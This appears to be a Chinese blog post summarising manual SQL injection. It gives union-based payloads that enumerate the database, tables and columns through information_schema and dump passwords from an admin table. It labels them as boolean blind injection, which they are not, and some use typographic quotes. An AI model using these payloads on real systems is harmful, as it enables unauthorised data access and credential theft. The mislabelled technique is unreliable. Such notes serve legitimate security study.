sql注入的一些汇总
做一个关于sql注入的一些汇总,我个人偏向手注,做此汇总,持续更新。
首先是sql注入的原理必须要知道,不同的sql注入其实都是为了达到欺骗服务器sql查询语句的作用。关键在于思路和方法,了解服务器后端执行流程也是相当重要的,只不过在黑盒测试中很难去知道其具体的执行流程,这就需要经验以耐心了,千万不能急。
盲注
布尔盲注
首先是判断字段数
比如
1 | 1' order by 2 # //正常回显 |
然后去爆数据库
1 | 1’ union select 1,database() # |
爆表
1 | 1‘ union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 # |
爆字段名
1 | 1‘ union select 1,column_name from information_schema.columns where table_schema=database() and table_name=' ' limit 0,1 # |
爆字段内容,根据字段名去表中搜索得到
1 | 1’ union select 1,password from admin # |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 小马虎不马虎!
